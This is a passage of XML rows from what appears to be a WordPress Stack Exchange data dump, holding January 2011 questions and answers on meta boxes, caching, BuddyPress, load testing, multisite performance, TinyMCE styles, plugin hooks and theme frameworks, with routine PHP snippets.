  <row Id="6660" PostTypeId="1" AcceptedAnswerId="6676" CreationDate="2011-01-10T14:20:51.510" Score="1" ViewCount="302" Body="&lt;p&gt;I'm having a small issue with the custom post type entry screen. I'd like to bump up my metabox right under the content box, but I'm not sure if that's even possible (as the metaboxes in between are &quot;defaults&quot;, i.e.; Excerpt, Discussion &amp;amp; Author).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm applying the standard code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ctp_admin(){&#xA;add_meta_box('cpt_meta', 'Meta Box', 'cpt_meta', 'cpt_function', 'normal', 'high');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Noel&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-11T15:35:30.807" Title="Priority of Meta Box for Custom Post Type" Tags="&lt;custom-post-types&gt;&lt;metabox&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="6661" PostTypeId="2" ParentId="5016" CreationDate="2011-01-10T14:33:10.237" Score="2" ViewCount="" Body="&lt;p&gt;Bad Behavior does two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It checks the HTTP request and sees if it is as per the standard or not. Usually spammers don't write their scripts so well as to be fully compliant with the HTTP standard. Bad Behavior can make out poorly scripted HTTP requests from properly scripted ones (which would be sent by genuine visitors using well-designed Web browsers, etc.), and then blocks the improper HTTP requests.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It checks the IP address of the machine that sent the HTTP request against a database of known spammer IPs. If the IP address matches one in the database, Bad Behavior will block the request before it gets to the Wordpress engine, thereby conserving your CPU and bandwidth. The spammer that sent the HTTP request will get nothing in the response. This is not done by default - to enable this functionality, you need to be a member of Project HoneyPot, as you rightly mentioned. When you sign up for this Project, you will get a &quot;key&quot; that you need to enter in the plugin settings page to enable this functionality.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vijay Padiyar&lt;/p&gt;&#xA;" LastActivityDate="2011-01-10T14:33:10.237" />
  <row Id="6662" PostTypeId="2" ParentId="6655" CreationDate="2011-01-10T15:24:21.253" Score="3" ViewCount="" Body="&lt;p&gt;Using WordPress as a CMS (content management system), this would be relatively straight-forward.  Just remember, straight-forward &lt;strong&gt;does not&lt;/strong&gt; mean &quot;easy&quot; ...&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Custom Post Types&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;One of the newest and best features of WordPress is custom post types.  Rather than using a traditional post or page, I would make two kinds of custom post types - one for questions and one for answers.  Obviously the question will have titles, tags, and content.  The answers will just have content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also add a custom meta value to each answer to tie it to a specific question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both questions and answers can have comments, which works well with the existing framework&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Voting&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are several different voting plug-ins available, though none really handles the meritocracy system that SO has built up.  Still, any plug-in that allows you to rate a question/answer will be a good place to start.  With some minor tweaking you could get it working like the up/down voting system of SO.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Meritocracy&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Each user account would have to have a custom field associated with the user's reputation.  This would be modified directly by the up/down vote plug-in.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Other features&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The rest of the UI would be entirely up to you - it could either mirror SO completely or take on its own format.  Really, once you have questions and answers presented and persisted in the database correctly, the sky's the limit.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-01-10T15:24:21.253" />
  <row Id="6663" PostTypeId="1" CreationDate="2011-01-10T15:39:26.733" Score="3" ViewCount="297" Body="&lt;p&gt;I'm having some strange behavior with my W3 Total Cache solution working on my multi-user Wordpress 3 installation. The multi-user is setup to use sub directories, and I'm using all types of caching in W3. My suspicion is that my problem has something to do with the .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Periodically (but not consistently) navigating to certain parts of the site will end up redirecting to the wrong place. For example if I goto /corporate/ which is one of the subsite directories, it will redirect to /directives/corporate-training/ which is a single post of a different sub-site. This only happens occasionally, sometimes it is not a problem (which is why I think it is somehow related to page caching)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The behavior suggests that somewhere in the redirect rules, it occasionally forgets to check for other sub-sites, and instead tries to match /corporate/ to the closest post slug in a different site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking for any guidance on where to look for the problem.&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:36:39.480" LastActivityDate="2011-02-16T17:48:23.677" Title="W3 Total Cache Plugin with WP 3 MultiUser" Tags="&lt;multisite&gt;&lt;redirect&gt;&lt;plugin-w3-total-cache&gt;&lt;htaccess&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="6664" PostTypeId="1" CreationDate="2011-01-10T15:58:47.650" Score="1" ViewCount="299" Body="&lt;p&gt;I’m still getting my head around buddypress, so far so good but I’ve hit a snag where I want certain users who are flagged as an ‘expert’ to automatically accept any friend requests people make.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve found a couple of functions related to this but I think I’m missing something that would make this simpler such as setting a constant or overriding part of the $bp global…&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function bp_auto_accept_friend_request( $friendship_id, $friendship_initiator_id, $friendship_friend_id ) {&#xA;    if ( is_user_expert( $friendship_friend_id ) ) {&#xA;        // force add&#xA;        friends_accept_friendship( $friendship_id );&#xA;        friends_add_friend( $friendship_initiator_id, $friendship_friend_id, true );&#xA;    }&#xA;}&#xA;add_action('friends_friendship_requested', 'bp_auto_accept_friend_request', 200, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone tell me where I should be looking to make this nice and seamless just as if the main settings were set to bypass the request process please?&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-04-18T18:40:47.047" Title="How to auto-accept a friend-request in buddypress based on user meta" Tags="&lt;buddypress&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="6665" PostTypeId="2" ParentId="6659" CreationDate="2011-01-10T16:01:10.270" Score="0" ViewCount="" Body="&lt;p&gt;My team uses a tool from Gomez Networks for load testing WordPress. We wrote scripts using their desktop application that performed basic actions like clicking a link to a blog post, posting a comment, etc... &lt;a href=&quot;http://www.gomeznetworks.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gomeznetworks.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The major drawback to Gomez is that it's expensive. You purchase units of Virtual User hours, and you can set up some extremely complex tests that simulate real world traffic. We had some pretty big issues early on with Gomez not being able to reroute domains through specific IP addresses. We have STAGING and QA environments that require hosts file modifications on a user's machine in order to access them, and a Gomez support tech had to pull some kind of magic to make that work in our scripts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you work at a large corporation, you may want to look at LoadRunner:  &lt;a href=&quot;http://www.google.com/search?aq=f&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=loadrunner&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?aq=f&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=loadrunner&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you work at a small shop, check out WebLoad: &lt;a href=&quot;http://www.webload.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.webload.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you're going to find a tool specifically for load testing WordPress, unfortunately. It should be relatively easy to script out some basic blog interactions, like writing a post, posting a comment, moderating comments, searching, reading an RSS feed, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave &lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2011-01-10T16:01:10.270" />
  <row Id="6666" PostTypeId="1" CreationDate="2011-01-10T16:12:04.707" Score="0" ViewCount="93" Body="&lt;p&gt;I am using Yoast's Google Analytics plugin on my WordPress site. I have enabled Event Tracking for outbound links and have successfully manually added event tracking for some other internal links. It all works fine EXCEPT for in the 'Author Box'. Under each post I created an author box which pulls &quot;the_author_description&quot; from the user profile. This seems to strip out the GA event tracking code. I have an outbound link in there which should automatically be tracked by the plugin but the code is not there. If I try and manually add the code to any of the links in the user profile, they also get stripped out. &#xA;Any ideas on how to fix this?&lt;/p&gt;&#xA;" OwnerUserId="2412" LastActivityDate="2011-01-22T02:00:38.603" Title="Google Analytics event tracking code being stripped out of links in Author box - WordPress site" Tags="&lt;plugins&gt;&lt;google-analytics&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6667" PostTypeId="2" ParentId="6643" CreationDate="2011-01-10T16:14:16.327" Score="4" ViewCount="" Body="&lt;p&gt;At a guess I'd say you're linking to your stylesheet with a relative url like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;wp-content/themes/my-theme/style.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so when you end up anywhere other than the home page it's looking at the full URL plus the path indicated to your stylesheet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure your stylesheet URL begins with a slash if you're putting it in as static HTML eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;/wp-content/themes/my-theme/style.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Even better&lt;/em&gt; though is to use the built-in wordpress function for getting the stylesheet URL as Eileen has indicated in the comments. Use this syntax:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to include other CSS files look into the &lt;code&gt;wp_enqueue_style()&lt;/code&gt; function in the codex - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-10T16:14:16.327" CommentCount="2" />
  <row Id="6668" PostTypeId="2" ParentId="6659" CreationDate="2011-01-10T16:30:28.623" Score="2" ViewCount="" Body="&lt;p&gt;You can use a tool like loadimpact.com to generate load, include following user scripts, for a huge number of users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, as with anything like this, it doesn't come free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've just used it, so far, for simple load testing of user views as that's been our biggest issue with sites.  We wrote an article about it and how to get scale at &lt;a href=&quot;http://interconnectit.com/1254/make-wordpress-scale-on-a-budget/&quot; rel=&quot;nofollow&quot;&gt;http://interconnectit.com/1254/make-wordpress-scale-on-a-budget/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have fun and let us know how you get on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" LastActivityDate="2011-01-10T16:30:28.623" CommentCount="1" />
  <row Id="6669" PostTypeId="1" CreationDate="2011-01-10T16:38:51.813" Score="1" ViewCount="152" Body="&lt;p&gt;my WPMS site is hosted on 8 cores/32mb RAM server but the response time is very high.&#xA;We have about 1000 blogs (35,000+ tables on single db) and 70,000 pageviews per mounth.&#xA;I think that i can down the response time moving blogs that have more pageviews into separeted DB and&#xA;spliting all blogs into 100 blogs per db with hyper-db plugin. What do you think?&lt;/p&gt;&#xA;" OwnerUserId="2414" LastActivityDate="2011-07-04T15:32:40.647" Title="Performance on WPMS" Tags="&lt;multisite&gt;&lt;mysql&gt;&lt;performance&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="6670" PostTypeId="2" ParentId="3814" CreationDate="2011-01-10T16:40:12.947" Score="0" ViewCount="" Body="&lt;p&gt;@t31os is there a similar hook for wp_list_pages? i'm trying to do a similar thing - i want to add GA event tracking to links in my navigation menu which is generated by wp_list_pages....&lt;/p&gt;&#xA;" OwnerUserId="2412" LastActivityDate="2011-01-10T16:40:12.947" />
  <row Id="6671" PostTypeId="1" AcceptedAnswerId="6827" CreationDate="2011-01-10T16:40:45.400" Score="0" ViewCount="128" Body="&lt;p&gt;I'd like to add code to my functions.php to intercept all calls to wp_list_categories() AND the_category() so that it excludes &quot;uncategorized&quot; and any children of &quot;uncategorized&quot; (OR cat_id 1). I'd also like to limit the number of words returned in the &quot;title&quot; attribute of each list item anchor. Currently the default is to set $cat_args['use_desc_for_title'] = 1;&#xA;but It does not appear it's possible to insert that into the exclusions filter below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the code below which effectively removes the unwanted categories from the lists that use wp_list_categories, however, it does not remove them from lists derived from the_category...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_list_terms_exclusions($exclusions,$args) {&#xA;  $children = implode(',',get_term_children(1,'category'));&#xA;  $children = (empty($children) ? '' : &quot;,$children&quot;);&#xA;  return $exclusions . &quot; AND (t.term_id NOT IN (1{$children}))&quot;;&#xA;}&#xA;add_filter('list_terms_exclusions', 'my_list_terms_exclusions', 10, 2);?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-03-12T20:14:27.273" LastActivityDate="2011-03-12T20:14:27.273" Title="filter out &quot;uncategorized&quot; from all category listings with one filter in functions.php?" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="6672" PostTypeId="1" AcceptedAnswerId="6686" CreationDate="2011-01-10T16:43:24.930" Score="0" ViewCount="171" Body="&lt;p&gt;Can somebody tell me why this isn't working? I'm trying to get it to create a file in the plugins directory. After I get this working, I'll be trying to get this to create a file in the active theme's directory. Can somebody help me out here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed my code, right now it creates the file but it does not input the text 'Testing' into the file even. Is there something I'm missing here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filename = __FILE__;&#xA;&#xA;register_activation_hook($filename, 'superActivation');&#xA;register_deactivation_hook($filename, 'superDeactivation');&#xA;&#xA;global $myFile, $fh, $stringData, $filename, $pluginbase, $full_plugindir;&#xA;&#xA;$myFile = &quot;../wp-content/themes/striking/testFile.php&quot;;&#xA;$stringData = &quot;Testing\n&quot;;&#xA;$fh = fopen($myFile, 'w') or die(&quot;can't open file&quot;);&#xA;&#xA;function superActivation() {&#xA;    global $myFile; global $fh; global $stringData; global $filename;&#xA;    fwrite($fh, 'test');&#xA;    fclose($fh);&#xA;}&#xA;&#xA;function superDeactivation() {&#xA;   global $myFile;&#xA;   if(is_file(&quot;$myFile&quot;)) {&#xA;   unlink(&quot;$myFile&quot;);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2415" LastEditorUserId="2415" LastEditorDisplayName="" LastEditDate="2011-01-10T21:22:30.923" LastActivityDate="2011-01-10T21:22:30.923" Title="Why is my plugins activation hook not working?" Tags="&lt;plugin-development&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="6673" PostTypeId="2" ParentId="6669" CreationDate="2011-01-10T17:16:53.220" Score="2" ViewCount="" Body="&lt;p&gt;Yes, you are long past the point where you need to split the database. ;) &lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2011-01-10T17:16:53.220" CommentCount="3" />
  <row Id="6674" PostTypeId="2" ParentId="6659" CreationDate="2011-01-10T17:28:48.150" Score="0" ViewCount="" Body="&lt;p&gt;Just thought I'd throw in something I've been thinking about myself as a way of doing this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;apachebench to simulate general viewing traffic&lt;/li&gt;&#xA;&lt;li&gt;a bit of PHP to add n comments per minute using WordPress (ie not directly inserting into the table). I'm also wondering if watir or selenium can't be put into action here instead.&lt;/li&gt;&#xA;&lt;li&gt;munin (or similar) to do monitoring / reporting (although I'm not sure how granular this would be)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-01-10T17:28:48.150" CommunityOwnedDate="2011-01-12T11:39:04.113" CommentCount="1" />
  <row Id="6675" PostTypeId="2" ParentId="6660" CreationDate="2011-01-10T18:01:49.993" Score="-1" ViewCount="" Body="&lt;p&gt;Can't you just drag and drop that section?&lt;/p&gt;&#xA;" OwnerUserId="1136" LastActivityDate="2011-01-10T18:01:49.993" CommentCount="2" />
  <row Id="6676" PostTypeId="2" ParentId="6660" CreationDate="2011-01-10T18:28:22.100" Score="2" ViewCount="" Body="&lt;p&gt;Where you have the parameter 'normal' eg. the context parameter change that to read 'core'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_meta_box('cpt_meta', 'Meta Box', 'cpt_meta', 'cpt_function', 'core', 'high');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default meta boxes are registered as core and are listed first, followed by the 'normal' context. The docs don't actually say you can do it but I have done without any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;Make sure your function is registered on the 'add_meta_boxes' hook with a high priority eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_metabox() {&#xA;    ...&#xA;}&#xA;add_action( 'add_meta_boxes', 'my_metabox', 1 ); // priority 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The use of 'core' vs. 'normal' may not actually make a difference in the latest version.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastEditorUserId="1733" LastEditorDisplayName="" LastEditDate="2011-01-11T15:35:30.807" LastActivityDate="2011-01-11T15:35:30.807" CommentCount="2" />
  <row Id="6677" PostTypeId="2" ParentId="6669" CreationDate="2011-01-10T18:41:54.470" Score="1" ViewCount="" Body="&lt;p&gt;70k page views per day seems rather trivial considering your hardware. Even if the bulk of it is spread in a 10h per day time frame, you're dealing with (roughly) a page served per second. Your hardware should be dealing with that without a hiccup. (Then again, it is WP...)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imo, before you start splitting sites in multiple databases, install memcached and an object-cache. Doing so will bring down the number of DB queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, optionally add BatCache or the Semiologic Cache (which has its own object-cache implementation), aka something that implements memcached-based caching (the first caches pages served to guests; the second caches pages served to guests and key queries for all users). If you think you'll eventually outgrow a single server, you don't want any static file based caching. If you think you won't, Total Cache or even Super Cache are good choices as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least, have you configured mod_deflate (which is built into Sem Cache too) and asset concatenation (also done by Sem Cache, as well as by the likes of Total Cache)? These significantly reduce the perceived load time.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: sorry, I just re-read the question and you say 70k per month, not day; which is even more ridiculous as a server load: 2 pages served per minute, i.e. your CPU should nearly always be idle.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2011-01-10T18:41:54.470" />
  <row Id="6678" PostTypeId="1" CreationDate="2011-01-10T18:45:55.620" Score="0" ViewCount="400" Body="&lt;p&gt;I'm using the TinyMCE Advanced plugin so that I can add my own custom styles to the Style dropdown in the Visual Editor. However, I don't want some of the styles that are included in the style.css file to be listed there, as they are 'internal' classes (for aligning pictures etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to stop these classes being shown in the dropdown? Either by changing the TinyMCE Advanced configuration, or by editing the CSS file in a certain way?&lt;/p&gt;&#xA;" OwnerUserId="2145" LastActivityDate="2011-01-10T19:43:51.860" Title="Stop certain classes showing up in TinyMCE Advanced Style dropdown" Tags="&lt;editor&gt;&lt;tinymce&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6679" PostTypeId="1" AcceptedAnswerId="6682" CreationDate="2011-01-10T19:18:25.023" Score="1" ViewCount="269" Body="&lt;p&gt;Seems like a trivial problem but I can't get it to work. I need to add &lt;code&gt;class=&quot;last&quot;&lt;/code&gt; to every third post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;?php&#xA;     $count = 0;&#xA;     $my_query = new WP_Query('cat=-18,-7&amp;amp;showposts=9');&#xA;     while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post();&#xA;    ?&amp;gt;&#xA;&#xA;    &amp;lt;article class=&quot;&amp;lt;?php if ($count % 3 == 0) { echo &quot;last &quot;; }&quot; ?&amp;gt;&amp;gt; &amp;lt;/article&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;          $count++;&#xA;          endwhile; &#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastEditorUserId="2313" LastEditorDisplayName="" LastEditDate="2011-01-10T19:33:49.557" LastActivityDate="2011-04-20T15:12:30.013" Title="Grid layout &quot;last&quot; class to every third item" Tags="&lt;template&gt;&lt;posts&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="6680" PostTypeId="1" AcceptedAnswerId="6687" CreationDate="2011-01-10T19:29:07.860" Score="0" ViewCount="180" Body="&lt;p&gt;I recently asked a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6557/redesigning-custom-post-type-add-new-page&quot;&gt;question&lt;/a&gt; the other day and got what I was looking for. Today I put that knowledge to practice, but I can't seem to figure how to remove the title and editor fields from the &quot;edit&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below shows the arguments I'm using with &lt;code&gt;register_post_type&lt;/code&gt;. Logically, I think providing an empty array for &quot;supports&quot; would make it not support anything by default. Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $v_args = array(&#xA;                'labels' =&amp;gt; array (&#xA;                        'name' =&amp;gt; 'Visitors',&#xA;                        'singular_name' =&amp;gt; 'Visitor',&#xA;                        'add_new_item' =&amp;gt; 'Register New Visitor',&#xA;                    ),&#xA;                'public' =&amp;gt; true,&#xA;                'publicly_queryable' =&amp;gt; false,&#xA;                'exclude_from_search' =&amp;gt; true,&#xA;                'show_ui' =&amp;gt; true,&#xA;                'hiearchical' =&amp;gt; false,&#xA;                'supports' =&amp;gt; array( ),&#xA;            );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br /&gt;&#xA;-Zack&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-01-10T20:41:48.480" Title="Custom post types - remove default post supports through empty array?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="6681" PostTypeId="2" ParentId="6678" CreationDate="2011-01-10T19:43:51.860" Score="4" ViewCount="" Body="&lt;p&gt;This should be what you're looking for - put this code into your theme's functions.php file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function yourprefix_tiny_mce_before_init( $init_array ) {&#xA;$init_array['theme_advanced_styles'] = &quot;your_style=your_class&quot;; // filter styles&#xA;$init_array['theme_advanced_blockformats'] = &quot;p,h3,h4,h5&quot;; // filter formats&#xA;return $init_array;&#xA;}&#xA;add_filter( 'tiny_mce_before_init', 'yourprefix_tiny_mce_before_init' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way the only style that will be displayed is 'your_style'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd line is taking care of tinymce formats - might be useful too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps!&lt;/p&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-10T19:43:51.860" CommentCount="3" />
  <row Id="6682" PostTypeId="2" ParentId="6679" CreationDate="2011-01-10T19:49:37.397" Score="1" ViewCount="" Body="&lt;p&gt;I think you just need to start the &lt;code&gt;$count&lt;/code&gt; variable from 1 and not zero. You'll get the opposite effect otherwise because 0 modulo 3 is 0. The first item of every 3 will be getting the class name.&lt;/p&gt;&#xA;" OwnerUserId="1733" LastActivityDate="2011-01-10T19:49:37.397" CommentCount="3" />
  <row Id="6684" PostTypeId="2" ParentId="6680" CreationDate="2011-01-10T20:16:34.653" Score="0" ViewCount="" Body="&lt;p&gt;I think you need something in there. Title &amp;amp; Editor are the &lt;strong&gt;defaults when nothing is present&lt;/strong&gt;, so adding something may remove those two (though I've never tested it), i.e.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'author'&#xA;'thumbnail'&#xA;'excerpt'&#xA;'trackbacks'&#xA;'custom-fields'&#xA;'comments'&#xA;'revisions'&#xA;'page-attributes'&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-10T20:16:34.653" />
  <row Id="6686" PostTypeId="2" ParentId="6672" CreationDate="2011-01-10T20:36:10.673" Score="0" ViewCount="" Body="&lt;p&gt;For unlinking, try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function superDeactivation() {&#xA;   $myFile = &quot;testFile.txt&quot;;&#xA;   if(is_file(&quot;$myFile&quot;)) {&#xA;   unlink(&quot;$myFile&quot;);&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or alternatively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function superDeactivation() {&#xA;   $myFile = &quot;testFile.txt&quot;;&#xA;   unset($myFile);&#xA;   unlink(&quot;$myFile&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-10T20:36:10.673" CommentCount="2" />
  <row Id="6687" PostTypeId="2" ParentId="6680" CreationDate="2011-01-10T20:41:48.480" Score="2" ViewCount="" Body="&lt;p&gt;You were close .) This works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'supports' =&amp;gt; array( '' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2110" LastActivityDate="2011-01-10T20:41:48.480" CommentCount="2" />
  <row Id="6688" PostTypeId="1" AcceptedAnswerId="6701" CreationDate="2011-01-10T21:33:20.117" Score="0" ViewCount="159" Body="&lt;p&gt;I have a theme which includes some setup, using &lt;code&gt;after_setup_theme&lt;/code&gt; but I'd like to write my own functions which also need to run &lt;code&gt;after_setup_theme&lt;/code&gt;. I'd prefer to keep my stuff in a separate file. Can I call &lt;code&gt;after_setup_theme&lt;/code&gt; multiple times?&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T08:07:35.533" LastActivityDate="2011-01-11T08:07:35.533" Title="How many times can I hook into the same action?" Tags="&lt;hooks&gt;&lt;functions&gt;" AnswerCount="2" />
  <row Id="6689" PostTypeId="2" ParentId="3725" CreationDate="2011-01-10T21:57:16.197" Score="3" ViewCount="" Body="&lt;h1&gt;&lt;a href=&quot;http://carringtontheme.com/&quot; rel=&quot;nofollow&quot;&gt;Carrington&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;'Carrington is a theme platform for WordPress from Crowd Favorite.'&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Carrington is a new (we think better) way of organizing a WordPress theme, coupled with a core framework engine that provides a bunch of exciting functionality for free, just by creating different named templates.&#xA;  -- &lt;a href=&quot;http://carringtontheme.com/2009/08/what-is-carrington-the-qa/&quot; rel=&quot;nofollow&quot;&gt;What is Carrington&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Purpose&lt;/strong&gt; Development Framework&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Strong features&lt;/strong&gt; Conditional based file/folder system.  The idea behind the framework's folder structure is to allow you to create templates that meet specific conditions.  This way you can create smaller acute templates.  For instance you could create a unique comment block for a specific user or all logged in users just by adding one new template file ( &lt;a href=&quot;http://carringtontheme.com/2009/08/framework-overview/&quot; rel=&quot;nofollow&quot;&gt;Framework Overview&lt;/a&gt; ).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Carrington comes in a few different flavors, I personally like the trimmed down version Carrington JAM (Just Add Markup). &lt;a href=&quot;http://carringtontheme.com/themes/&quot; rel=&quot;nofollow&quot;&gt;Download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Downsides&lt;/strong&gt; In my use cases I have had no real trouble using Carrington.  A possible downside maybe the 